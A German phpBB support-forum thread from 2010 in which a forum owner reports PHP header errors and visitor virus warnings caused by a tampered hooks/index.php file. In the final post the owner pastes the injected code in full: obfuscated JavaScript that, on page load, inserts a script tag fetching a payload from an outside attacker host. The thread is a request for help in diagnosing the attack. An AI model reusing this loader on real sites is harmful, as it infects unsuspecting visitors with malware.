Seite 1 von 1
Forum gehackt?
Verfasst: 06.04.2010 07:01
von Neco
Hallo Community,
ich habe ein Problem mit meinem Forum, man könnte sagen zum wiederholten Male.
Ich schaue morgens ganz normal ins Forum, plötzlich sehe ich folgende Fehlermeldungen:
Code: Alles auswählen
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1007: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1007: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1007: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4284: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4286: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4287: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4288: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:251)
Zusätzlich ist das Forum größer geworden, von der Schrift her, als ob man bei der Ansicht nun 125% hat und nicht mehr 100%. Ich hatte dieses Problem schon mal vor ein paar Wochen. Meine Mitglieder berichteten, dass sie eine Virusmeldung bekamen, wenn sie in das Forum gingen, wobei kein Virusmeldung (Kaspersky) kam. Wenn ich die Datei index.php im Verzeichnis hooks ersetzte wieder, dann geht alles wieder, aber warum?
Was kann das sein, hat wer Tipps?
Gruß
Neco
Re: Forum gehackt?
Verfasst: 06.04.2010 07:07
von -Tanja-
Morgen,
schau mal ob du am Ende der Datei (Zeile 251) /includes/hooks/index.php eine Leerzeile hast und lösche sie falls eine da ist.
Du kannst auch eine frische Datei runterladen und per FTP in den Ordner /includes/hooks hochladen.
Re: Forum gehackt?
Verfasst: 06.04.2010 08:35
von Neco
Wenn ich die Datei überschreibe funktioniert es wieder, okay.
Aber ich habe nichts auf dem FTP verändert, wie kann es sein, dass sich dei Datei einfach so ändert?
Ohne FTP-Zugriff meine sollte es doch nicht machbar sein, oder?
Re: Forum gehackt?
Verfasst: 06.04.2010 08:37
von Frank1604
Hast du die Datei einfach überschrieben, oder hast du die nicht funktionierende Version aufgehoben?
Re: Forum gehackt?
Verfasst: 06.04.2010 08:38
von Neco
Das habe ich natürlich nicht ^^
Habe ich mit auch gedacht, als ich die Datei überschrieben hatte. Wenn das Problem wieder auftaucht, dann werde ich die Datei vorher sichern.
Aber ohne FTP-Zugriff kann man das doch nicht ändern, oder sehe ich das falsch?
Re: Forum gehackt?
Verfasst: 07.04.2010 18:52
von Neco
Hier habe den Code nun mal rauskopiert:
Code: Alles auswählen
<script>var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();</script>